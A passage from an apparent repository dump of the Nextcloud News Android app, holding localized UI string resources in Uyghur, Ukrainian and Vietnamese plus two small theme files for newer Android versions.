<string name=\"login_dialog_text_something_went_wrong\">چاتاق چىقتى :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">تور خەۋەرلىرى دېتالى «0» نەشرىنى قايتۇردى. تۆۋەندىكى خاتالىق دوكلاتىنى كۆرۈپ بېقىڭ: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">بۇ ئەپ نەشرى Nextcloud خەۋەر ئەپىڭىزگە ماس كەلمەيدۇ. خەۋەر ئەپلىرى ۋە ئەپ دېتاللىرىنى يېڭىلاڭ.</string>\n    <string name=\"login_dialog_title_security_warning\">بىخەتەرلىك ئاگاھلاندۇرۇشى</string>\n    <string name=\"login_dialog_text_security_warning\">سىز كۈچلۈك ئىلھاملاندۇرۇلغان HTTPS نى ئىشلەتمەيسىز. ھۇجۇم قىلغۇچى سىزنىڭ ئېقىمىڭىزنى توسۇپ بەزى سەزگۈر سانلىق مەلۇماتلارنى زىيارەت قىلالايدۇ (مەسىلەن پارولىڭىز).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">چاتاق چىقتى. قايتا سىناڭ.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">&amp; سانلىق مەلۇمات ماسقەدەملەش</string>\n    <string name=\"pref_title_clearCache\">غەملەكنى تازىلاش</string>\n    <string name=\"pref_title_CacheImagesOffline\">رەسىملەرنى تورسىز ساقلاڭ</string>\n    <string name=\"pref_title_Max_Cache_Size\">ئەڭ چوڭ غەملەك چوڭلۇقى</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">ھەرگىز بولمايدۇ</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">پەقەت WiFi دىن ئېشىپ كەتتى</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">WiFi &amp; Mobile دىن ئېشىپ كەتتى</string>\n    <string name=\"pref_data_sync_image_cache_ask\">WiFi غا ئۇلانمىغان ۋاقىتتا سوراڭ</string>\n\n    <string name=\"array_sync_interval_min_0\">ھەرگىز بولمايدۇ</string>\n    <string name=\"array_sync_interval_min_5\">5 مىنۇت</string>\n    <string name=\"array_sync_interval_min_15\">15 مىنۇت</string>\n    <string name=\"array_sync_interval_min_30\">30 مىنۇت</string>\n    <string name=\"array_sync_interval_min_45\">45 مىنۇت</string>\n    <string name=\"array_sync_interval_hour_1\">1 سائەت</string>\n    <string name=\"array_sync_interval_hour_2\">2 سائەت</string>\n    <string name=\"array_sync_interval_hour_3\">3 سائەت</string>\n    <string name=\"array_sync_interval_hour_6\">6 سائەت</string>\n    <string name=\"array_sync_interval_hour_12\">12 سائەت</string>\n    <string name=\"array_sync_interval_hour_24\">24 سائەت</string>\n    <string name=\"switch_account\">ھېساباتنى ئالماشتۇرۇش</string>\n    \n    <string name=\"successfully_exported\">مۇۋەپپەقىيەتلىك ئېكسپورت قىلىندى:</string>\n    <string name=\"opml_export\">OPML ئېكسپورتى</string>\n    <string name=\"parsing_opml\">OPML نى تەھلىل قىلىش</string>\n    <string name=\"please_wait\">ساقلاپ تۇرۇڭ…</string>\n    <string name=\"interval_sync_title\">ئارىلىق ماسقەدەملەش</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-uk/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Автоматична синхронізація</string>\n    <string name=\"title_activity_sync_interval_selector\">Інтервал синхронізації</string>\n    <string name=\"empty_view_content\">Тут нічого немає</string>\n    <string name=\"empty_view_content_action\">Потягніть вниз, щоб оновити</string>\n    <string name=\"toast_GettingMoreItems\">Розпочато звантаження додаткових елементів. Будь ласка, зачекайте …</string>\n    <string name=\"no_wifi_available\">Відсутнє WiFi з\\'єднання</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Бажаєте звантажити зображення без підключення до Wi-Fi?</string>\n    <string name=\"current_version\">Ви використовуєте версію %s</string>\n    <string name=\"widget_header\">Новини для Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Доступний %d новий елемент</item>\n        <item quantity=\"few\">Доступно %d нових елементів</item>\n        <item quantity=\"many\">Доступно %d нових елементів</item>\n        <item quantity=\"other\">Доступно %d нових елементів</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Перезавантажити</string>\n    <string name=\"allUnreadFeeds\">Всі непрочитані</string>\n    <string name=\"starredFeeds\">Із зірочкою</string>\n    <string name=\"downloadedPodcasts\">Завантажені подкасти</string>\n    <string name=\"title_activity_new_feed\">Додати нову стрічку</string>\n\n    <string name=\"menu_update\">Оновити</string>\n    <string name=\"menu_markAllAsRead\">Позначити все як прочитане</string>\n    <string name=\"menu_StartImageCaching\">Звантажити зображення</string>\n    <string name=\"menu_downloadMoreItems\">Звантажити більше елементів</string>\n\n    <string name=\"tv_showing_cached_version\">Відображається кешована версія</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Із зірочкою</string>\n    <string name=\"action_read\">Читати</string>\n    <string name=\"action_playPodacst\">Відтворити подкаст</string>\n    <string name=\"action_removePodcast\">Видалити носій подкасту</string>\n    <string name=\"action_openInBrowser\">Відкрити у браузері</string>\n    <string name=\"action_Share\">Поширити</string>\n    <string name=\"action_login\">Налаштування сервера</string>\n    <string name=\"action_save\">Зберегти</string>\n    <string name=\"action_settings\">Налаштування</string>\n    <string name=\"action_sync_settings\">Налаштування синхронізації</string>\n    <string name=\"action_add_new_feed\">Додати нову стрічку</string>\n    <string name=\"action_add_new_folder\">Додати новий каталог</string>\n    <string name=\"action_textToSpeech\">Читати</string>\n    <string name=\"action_search\">Пошук</string>\n    <string name=\"action_download_articles_offline\">Зберігайте статті в автономному режимі</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Збереження статей для доступу в автономному режимі.</string>\n    <string name=\"notification_download_images_offline\">Збереження зображень для використання в автономному режимі</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">У вас є %d новий непрочитаний елемент</item>\n        <item quantity=\"few\">У вас є %d нових непрочитаних елементи</item>\n        <item quantity=\"many\">У вас є %d нових непрочитаних елементів</item>\n        <item quantity=\"other\">У вас є %d нових непрочитаних елементів</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Доступний %d новий непрочитаний елемент</item>\n        <item quantity=\"few\">Доступні %d нові непрочитані елементи</item>\n        <item quantity=\"many\">Доступно %d нових непрочитаних елементів</item>\n        <item quantity=\"other\">Доступно %d нових непрочитаних елементів</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Посилання стрічки</string>\n    <string name=\"action_add_feed\">Додати стрічку</string>\n    <string name=\"import_opml\">Імпорт OPML</string>\n    <string name=\"export_opml\">Експорт OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Звантажити зображення</string>\n    <string name=\"action_img_sharelink\">Поділітися посиланням на зображення</string>\n    <string name=\"action_img_open\">Відкрийте зображення у браузері</string>\n    <string name=\"action_img_copylink\">Копіювати посилання на зображення</string>\n    <string name=\"action_link_share\">Поділитися посиланням</string>\n    <string name=\"action_link_open\">Відкрити посилання у переглядачі</string>\n    <string name=\"action_link_copy\">Копіювати посилання</string>\n    <string name=\"toast_img_download_wait\">Звантаження. Будь ласка, зачекайте…</string>\n    <string name=\"toast_img_saved\">Зображення збережено</string>\n    <string name=\"toast_img_notwriteable\">Помилка із записом зображення.</string>\n    <string name=\"toast_copied_to_clipboard\">Скопійовано до буфера обміну</string>\n    <string name=\"error_download_failed\">Звантаження не вдалося</string>\n    <string name=\"intent_title_share\">Поділитися через</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Вилучити стрічку</string>\n    <string name=\"action_feed_rename\">Перейменувати стрічку</string>\n    <string name=\"action_feed_move\">Перемістити стрічку</string>\n    <string name=\"action_feed_notification_settings\">Налаштування сповіщень</string>\n    <string name=\"action_feed_open_in\">Налаштування відкритого входу</string>\n    <string name=\"action_feed_open_in_general_setting\">Використовуйте загальне налаштування</string>\n    <string name=\"action_feed_open_in_detailed_view\">Детальний перегляд</string>\n    <string name=\"feed_remove_button\">Вилучити</string>\n    <string name=\"feed_rename_button\">Перейменувати</string>\n    <string name=\"confirm_feed_remove\">Дійсно вилучити цю стрічку? Цю дію неможливо буде скасувати!</string>\n    <string name=\"feed_move_list_description\">Оберіть каталог, до якого перемістити стрічку</string>\n    <string name=\"move_feed_root_folder\">Кореневий каталог</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Вилучити каталог</string>\n    <string name=\"action_folder_rename\">Перейменувати каталог</string>\n    <string name=\"folder_remove_button\">Вилучити</string>\n    <string name=\"folder_rename_button\">Перейменувати</string>\n    <string name=\"confirm_folder_remove\">Дійсно вилучити цей каталог? Це не можна буде скасувати!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Отримувати унікальні сповіщення для цієї стрічки</string>\n    <string name=\"notification_feed_default\">Всі стрічки з налаштуваннями за замовчуванням з\\'являтимуться в одному сповіщенні</string>\n    <string name=\"notification_feed_none\">Жодних сповіщень взагалі</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Додати</string>\n    <string name=\"hint_folder_name\">Назва каталогу</string>\n    <string name=\"folder_already_exists\">Такий каталог вже присутній</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Вхід вручну</string>\n    <string name=\"login_sso\">Увійти за допомогою застосунку Nextcloud Files</string>\n    <string name=\"pref_title_username\">Ім\\'я користувача</string>\n    <string name=\"pref_title_password\">Пароль</string>\n    <string name=\"pref_title_owncloudRootPath\">Коренева адреса Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Увійти...</string>\n    <string name=\"login_progress_signing_in\">Входимо в систему …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Обов\\'язкове поле</string>\n    <string name=\"error_invalid_url\">Неправильний URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Позначено елемент %d як прочитаний</item>\n        <item quantity=\"few\">Позначено %d елементів як прочитані</item>\n        <item quantity=\"many\">Позначено %d елементів як прочитані</item>\n        <item quantity=\"other\">Позначено %d елементів як прочитані</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Завантажено %d старий елемент</item>\n        <item quantity=\"few\">Завантажено %d старих елементи</item>\n        <item quantity=\"many\">Завантажено %d старих елементів</item>\n        <item quantity=\"other\">Звантажено %d старих елементів</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Більше немає об\\'єктів</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Наразі отримано %d елемент …</item>\n        <item quantity=\"few\">Наразі отримано %d елементи …</item>\n        <item quantity=\"many\">Наразі отримано %d елементів …</item>\n        <item quantity=\"other\">Наразі отримано %d елементів …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Налаштування</string>\n    <string name=\"cache_is_cleared\">Кеш очищено!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Загалом</string>\n    <string name=\"pref_title_general_sort_order\">Впорядковано за</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Нові → Старі</string>\n    <string name=\"pref_general_sort_order_old_new\">Старі → Нові</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Дія при свайпі вправо</string>\n    <string name=\"pref_rename_action_swipe_left\">Дія при свайпі вліво</string>\n\n    <string name=\"pref_title_general_search_in\">Шукати в</string>\n\n    <string name=\"pref_general_search_in_title\">Назва</string>\n    <string name=\"pref_general_search_in_body\">Тіло</string>\n    <string name=\"pref_general_search_in_both\">Обидва</string>\n\n    <string name=\"dialog_clearing_cache\">Очистити кеш</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Очищення кешу. Будь ласка, зачекайте …</string>\n    <string name=\"reset_cache_unsaved_changes\">Є несинхронізовані зміни. Ви дійсно бажаєте очистити кеш?</string>\n    <string name=\"warning\">Попередження</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Синхронізація при включені</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Показати непрочитані статті</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Вимкнути перевірку доменного ім\\'я</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Керування кнопками гучності</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Помічати прочитаними при прокрутці</string>\n    <string name=\"pref_title_ShowFastActions\">Увімкнути функції швидкого доступу</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Пропустити детальний перегляд і відкрити статтю в браузері</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Задня кнопка відкриває шухляду</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Підтвердити невідомий сертифікат?</string>\n    <string name=\"mtm_decision_always\">Завжди</string>\n    <string name=\"mtm_decision_abort\">Скасувати</string>\n    <string name=\"mtm_notification\">Перевірка сертифікату</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Жодного подкасту не вибрано</string>\n    <string name=\"no_chapters_available\">Немає доступних розділів</string>\n    <string name=\"exit_playback\">Вийти з програвача</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Швидкість відтворення</string>\n    <string name=\"notification_downloading_podcast_title\">Звантаження подкасту</string>\n    <string name=\"dialog_podcast_remove_title\">Ви впевнені?</string>\n    <string name=\"dialog_podcast_remove_body\">Ви хочете видалити завантажені медіа за %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Не вдалося вилучити носій для %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Видалено носій для %1$s</string>\n    <string name=\"dialog_podcast_remove_confirm\">Видалити</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Про застосунок</string>\n    <string name=\"pref_license\">Ліцензія</string>\n    <string name=\"pref_license_summary\">Загальна громадська ліцензія GNU Афферо (AGPL) версії 3</string>\n    <string name=\"pref_report_issue\">Повідомити про проблему</string>\n    <string name=\"pref_report_issue_summary\">Потрібен (безкоштовний) обліковий запис на GitHub</string>\n    <string name=\"pref_contribute\">Долучайтеся!</string>\n    <string name=\"pref_contribute_summary\">Отримати вихідний код</string>\n    <string name=\"pref_privacy\">Конфіденційність</string>\n    <string name=\"pref_privacy_summary\">Політика конфіденційності Nextcloud News Android</string>\n    <string name=\"pref_news_policy\">Контакти / Новини / Політика</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud News Новини Android Політика / Контакти</string>\n    <string name=\"pref_version\">Застосунок Nextcloud News для Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Показати</string>\n    <string name=\"pref_title_app_theme\">Тема</string>\n    <string name=\"pref_title_feed_list_layout\">Поле списку стрічок</string>\n    <string name=\"pref_title_font_size\">Розмір шрифту</string>\n    <string name=\"pref_display_browser\">Переглядач</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Іконки дій (детальний перегляд)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Системна</string>\n    <string name=\"pref_display_apptheme_light\">Світла</string>\n    <string name=\"pref_display_apptheme_dark\">Темна</string>\n\n    <string name=\"pref_oled_mode\">Чорне тло</string>\n    <string name=\"pref_oled_mode_summary\">Для темної теми на OLED-екранах</string>\n\n    <string name=\"pref_external_player\">Зовнішній програвач</string>\n    <string name=\"pref_external_player_summary\">Відтворювати подкасти у вашому встановленому мультимедійному програвачу</string>\n\n    <string name=\"pref_display_browser_cct\">Вбудовані користувацькі вкладки Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Вбудований браузер</string>\n    <string name=\"pref_display_browser_external\">Зовнішній браузер</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Мініатюри (тільки заголовки)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Мініатюри</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Звичайний текст</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Заголовки</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Контекстний</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Веб-макет</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Вид картки</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Малий</string>\n    <string name=\"pref_display_font_size_d\">За замовчуванням</string>\n    <string name=\"pref_display_font_size_l\">Великий</string>\n    <string name=\"pref_display_font_size_xl\">Дуже великий</string>\n\n    <string name=\"content_desc_play\">Грати</string>\n    <string name=\"content_desc_pause\">Пауза</string>\n    <string name=\"content_desc_playback_speed\">Швидкість відтворення</string>\n    <string name=\"content_desc_rewind\">Відмотати назад</string>\n    <string name=\"content_desc_forward\">Переслати</string>\n    <string name=\"content_desc_expand\">Розгорнути</string>\n    <string name=\"content_desc_collapse\">Згорнути</string>\n    <string name=\"content_desc_mark_as_read\">Відмітити прочитаним</string>\n    <string name=\"content_desc_mark_as_unread\">Позначити не прочитаним</string>\n    <string name=\"content_desc_tap_to_refresh\">Торкніться для оновлення</string>\n    <string name=\"content_desc_add_to_favorites\">Додати зірочку</string>\n    <string name=\"content_desc_remove_from_favorites\">Прибрати зірочку</string>\n    <string name=\"content_desc_show_password\">Показати пароль</string>\n    <string name=\"content_desc_delete\">Вилучити</string>\n    <string name=\"content_desc_download\">Звантажити</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Помилка</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Схоже, що ваш застосунок новин не встановлено або не активовано на вашому сервері. Будь ласка, спочатку налаштуйте застосунок новин на вашому сервері, дотримуючись інструкцій, наведених тут: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Щось пішло не так :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Веб-застосунок новин повернув версію \\\"0\\\". Будь ласка, ознайомтеся з наступним звітом про помилку: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Ця версія застосунку не сумісна з вашим застосунком Новини Nextcloud. Будь ласка, оновіть затосунок Новин та фреймворк додатків (appframework).</string>\n    <string name=\"login_dialog_title_security_warning\">Попередження про небезпеку</string>\n    <string name=\"login_dialog_text_security_warning\">Ви не використовуєте HTTPS, який дуже рекомендується. Зловмисник може перехопити ваш трафік і отримати доступ до деяких конфіденційних даних (наприклад, вашого пароля).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Щось пішло не так. Будь ласка, спробуйте ще раз.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Дані та синхронізація</string>\n    <string name=\"pref_title_clearCache\">Очистити кеш</string>\n    <string name=\"pref_title_CacheImagesOffline\">Зберігати зображення оффлайн</string>\n    <string name=\"pref_title_Max_Cache_Size\">Максимальний розмір кеша</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Ніколи</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Лише через WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Через WiFi та у мобільних мережах</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Питати, коли не підключено до WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Ніколи</string>\n    <string name=\"array_sync_interval_min_5\">5 хвилин</string>\n    <string name=\"array_sync_interval_min_15\">15 хвилин</string>\n    <string name=\"array_sync_interval_min_30\">30 хвилин</string>\n    <string name=\"array_sync_interval_min_45\">45 хвилин</string>\n    <string name=\"array_sync_interval_hour_1\">1 година</string>\n    <string name=\"array_sync_interval_hour_2\">2 години</string>\n    <string name=\"array_sync_interval_hour_3\">3 години</string>\n    <string name=\"array_sync_interval_hour_6\">6 годин</string>\n    <string name=\"array_sync_interval_hour_12\">12 годин</string>\n    <string name=\"array_sync_interval_hour_24\">24 години</string>\n    <string name=\"switch_account\">Перемкнути обліковий запис</string>\n    \n    <string name=\"successfully_exported\">Успішно експортовано до:</string>\n    <string name=\"opml_export\">OPML Експорт</string>\n    <string name=\"parsing_opml\">Парсинґ OPML</string>\n    <string name=\"please_wait\">Будь ласка, зачекайте…</string>\n    <string name=\"interval_sync_title\">Інтервальна синхронізація</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-v23/themes.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <style name=\"AppTheme\" parent=\"BaseTheme\">\n        <item name=\"android:navigationBarColor\">?attr/colorSurface</item>\n        <item name=\"android:windowLightStatusBar\">@bool/isDayMode</item>\n    </style>\n\n    <style name=\"AppTheme.OLED\" parent=\"BaseTheme.OLED\">\n        <item name=\"android:navigationBarColor\">?attr/colorSurface</item>\n        <item name=\"android:windowLightStatusBar\">@bool/isDayMode</item>\n    </style>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-v27/themes.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <style name=\"AppTheme\" parent=\"BaseTheme\">\n        <item name=\"android:navigationBarColor\">?attr/colorSurface</item>\n        <item name=\"android:windowLightStatusBar\">@bool/isDayMode</item>\n        <item name=\"android:windowLightNavigationBar\">@bool/isDayMode</item>\n    </style>\n\n    <style name=\"AppTheme.OLED\" parent=\"BaseTheme.OLED\">\n        <item name=\"android:navigationBarColor\">?attr/colorSurface</item>\n        <item name=\"android:windowLightStatusBar\">@bool/isDayMode</item>\n        <item name=\"android:windowLightNavigationBar\">@bool/isDayMode</item>\n    </style>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-vi/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Tự động đồng bộ</string>\n    <string name=\"title_activity_sync_interval_selector\">Thời gian giữa mỗi lần đồng bộ</string>\n    <string name=\"empty_view_content\">Không có mục nào ở đây</string>\n    <string name=\"empty_view_content_action\">Kéo xuống để làm mới</string>\n    <string name=\"toast_GettingMoreItems\">Đã bắt đầu tải xuống nhiều mục. Vui lòng đợi ...</string>\n    <string name=\"no_wifi_available\">Không có kết nối WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Bạn có muốn tải xuống hình ảnh mà không cần Wi-Fi?</string>\n    <string name=\"current_version\">Bạn đang sử dụng phiên bản %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d mục mới có sẵn</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Tải lại</string>\n    <string name=\"allUnreadFeeds\">Tất cả các mục chưa đọc</string>\n    <string name=\"starredFeeds\">Những mục được đánh dấu</string>\n    <string name=\"title_activity_new_feed\">Thêm feed mới</string>\n\n    <string name=\"menu_update\">Làm mới</string>\n    <string name=\"menu_markAllAsRead\">Đánh dấu tất cả là đã đọc</string>\n    <string name=\"menu_StartImageCaching\">Tải hình ảnh xuống</string>\n    <string name=\"menu_downloadMoreItems\">Tải nhiều mục hơn xuống</string>\n\n    <string name=\"tv_showing_cached_version\">Đang hiện phiên bản được lưu vào bộ nhớ đệm</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Starred</string>\n    <string name=\"action_read\">Đọc</string>\n    <string name=\"action_playPodacst\">Chơi Podcast</string>\n    <string name=\"action_openInBrowser\">Mở trong trình duyệt web</string>\n    <string name=\"action_Share\">Chia sẻ</string>\n    <string name=\"action_login\">Cài đặt máy chủ</string>\n    <string name=\"action_save\">Lưu</string>\n    <string name=\"action_settings\">Cài đặt</string>\n    <string name=\"action_sync_settings\">Đồng bộ cài đặt</string>\n    <string name=\"action_add_new_feed\">Thêm feed mới</string>\n    <string name=\"action_add_new_folder\">Thêm thư mục mới</string>\n    <string name=\"action_textToSpeech\">Đọc ra</string>\n    <string name=\"action_search\">Tìm</string>\n    <string name=\"action_download_articles_offline\">Tải xuống các bài báo để sử dụng ngoại tuyến</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Đang tải xuống các bài báo để sử dụng ngoại tuyến</string>\n    <string name=\"notification_download_images_offline\">Đang tải xuống các hình ảnh để sử dụng ngoại tuyến</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">Bạn có %d mục chưa đọc</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">Có %d mục chưa đọc mới</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL nguồn dữ liệu</string>\n    <string name=\"action_add_feed\">Thêm feed</string>\n    <string name=\"import_opml\">Nhập OPML</string>\n    <string name=\"export_opml\">Xuất OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Tải hình ảnh xuống</string>\n    <string name=\"action_img_sharelink\">Chia sẻ liên kết hình ảnh</string>\n    <string name=\"action_img_open\">Mở hình ảnh trong trình duyệt</string>\n    <string name=\"action_img_copylink\">Sao chép liên kết hình ảnh</string>\n    <string name=\"action_link_share\">Chia sẻ liên kết</string>\n    <string name=\"action_link_open\">Mở liên kết trong trình duyệt</string>\n    <string name=\"action_link_copy\">Sao chép liên kết</string>\n    <string name=\"toast_img_download_wait\">Đang tải xuống. Vui lòng đợi ...</string>\n    <string name=\"toast_img_saved\">Đã lưu hình ảnh</string>\n    <string name=\"toast_img_notwriteable\">Ghi hình ảnh thất bại.</string>\n    <string name=\"toast_copied_to_clipboard\">Đã sao chép vào bộ nhớ tạm</string>\n    <string name=\"error_download_failed\">Tải về thất bại</string>\n    <string name=\"intent_title_share\">Chia sẻ qua</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Xoá nguồn dữ liệu</string>\n    <string name=\"action_feed_rename\">Đổi tên nguồn dữ liệu</string>\n    <string name=\"action_feed_move\">Di chuyển nguồn dữ liệu</string>\n    <string name=\"action_feed_notification_settings\">Cài đặt thông báo</string>\n    <string name=\"feed_remove_button\">Xóa</string>\n    <string name=\"feed_rename_button\">Đổi tên</string>\n    <string name=\"confirm_feed_remove\">Bạn có thực sự muốn xoá Nguồn dữ liệu này không? Việc này không thể được hoàn tác!</string>\n    <string name=\"feed_move_list_description\">Chọn thư mục để di chuyển nguồn dữ liệu vào</string>\n    <string name=\"move_feed_root_folder\">Thư mục gốc</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Xoá thư mục</string>\n    <string name=\"action_folder_rename\">Đổi tên thư mục</string>\n    <string name=\"folder_remove_button\">Xoá</string>\n    <string name=\"folder_rename_button\">Đổi tên</string>\n    <string name=\"confirm_folder_remove\">Bạn có thực sự muốn xoá thư mục này không? Việc này không thể được hoàn tác!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Nhận thông báo độc nhất cho nguồn dữ liệu này</string>\n    <string name=\"notification_feed_default\">Tất cả nguồn dữ liệu có cài đặt mặc định sẽ hiện trong một thông báo</string>\n    <string name=\"notification_feed_none\">Không có thông báo</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Thêm</string>\n    <string name=\"hint_folder_name\">Tên thư mục</string>\n    <string name=\"folder_already_exists\">Thư mục đã tồn tại</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Đăng nhập thủ công</string>\n    <string name=\"login_sso\">Đăng nhập bằng ứng dụng Nextcloud Files</string>\n    <string name=\"pref_title_username\">Tên đăng nhập</string>\n    <string name=\"pref_title_password\">Mật khẩu</string>\n    <string name=\"pref_title_owncloudRootPath\">Địa chỉ gốc Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Đăng nhập</string>\n    <string name=\"login_progress_signing_in\">Đang đăng nhập ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Những mục cần th</string>\n    <string name=\"error_invalid_url\">URL không chính xác</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">Đã tải xuống %d mục cũ</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Không có thư mục </string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">Đến giờ đã lấy được %d mục ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Cài đặt</string>\n    <string name=\"cache_is_cleared\">Đã xoá bộ nhớ đệm!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Cài đặt chung</string>\n    <string name=\"pref_title_general_sort_order\">Thứ tự sắp xếp</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Mới → Cũ</string>\n    <string name=\"pref_general_sort_order_old_new\">Cũ → Mới</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Hành động khi vuốt phải</string>\n    <string name=\"pref_rename_action_swipe_left\">Hành động khi vuốt 